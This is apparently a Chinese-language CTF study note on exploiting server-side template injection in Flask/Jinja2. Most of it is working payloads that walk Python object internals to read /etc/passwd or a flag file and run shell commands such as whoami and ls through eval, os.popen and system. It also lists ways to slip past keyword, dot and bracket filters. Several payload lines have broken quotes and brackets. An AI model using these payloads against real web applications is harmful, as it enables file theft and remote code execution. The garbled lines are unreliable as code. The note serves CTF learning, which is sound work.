之前做题一直没有深入了解这个模板,对它的认识只停留在测试{{2*2}}是否可以得出结果4。
这里就先简单介绍在 CTF 中,最常见的Jinja2 的 SSTI 漏洞。
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。简单来说就是从基本类开始向外来查找可利用的子类。
- __dict__:保存类实例或对象实例的属性变量键值对字典
- __class__:获取当前对象的类
- __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- __bases__:列出基类
- __subclasses__:返回子类列表
- __init__:类的初始化方法
- __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
使用魔术方法进行函数解析,再获取基本类:
- ''.__class__.__mro__[2]
- {}.__class__.__bases__[0]
- ().__class__.__bases__[0]
- [].__class__.__bases__[0]
这里通过使用一些字符来向上查找基类,使用python终端测试即可
测试使用file类进行文件读取
().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
测试命令执行这里有两种方法:
- 寻找__builtins__(可以调用eval)
- [].__class__.__base__.__subclasses__()[76].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") ([76]处需要爆破测试)
第一种方法我们使用内置eval
- 寻找os
- ''.__class__.__mro__[2].__subclasses__()[76].__init__.__globals__['os'].popen('ls')
([76]处需要爆破测试)
注:红色部分可直接摘用
- Python2
读文件:().__class__.__bases__[0].__subclasses__()[40](r’/flag' ).read()
命令执行:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen(”ls").read()' ) - Python3(有区别)
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
''.__class__.__mro__[1].__subclasses__([104].__init__.__globals__["sys"].modules["os"].system("ls"[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
绕过过滤
过滤关键字
- 字符串拼接:'__c'+'lass__’
- 利用request.args属性(cookie等):
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40(request.args.path).read()}}&path=/etc/passwd - \x 编码:
().__class__.__bases__[0].__subclasses__([59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
过滤 点
- {{request|attr("get")}}就相当于{{request.get}}
- jinja2模板中,{{''.__class__}} = {{''['__cl'+'ass__’]}}
过滤[]
- getitem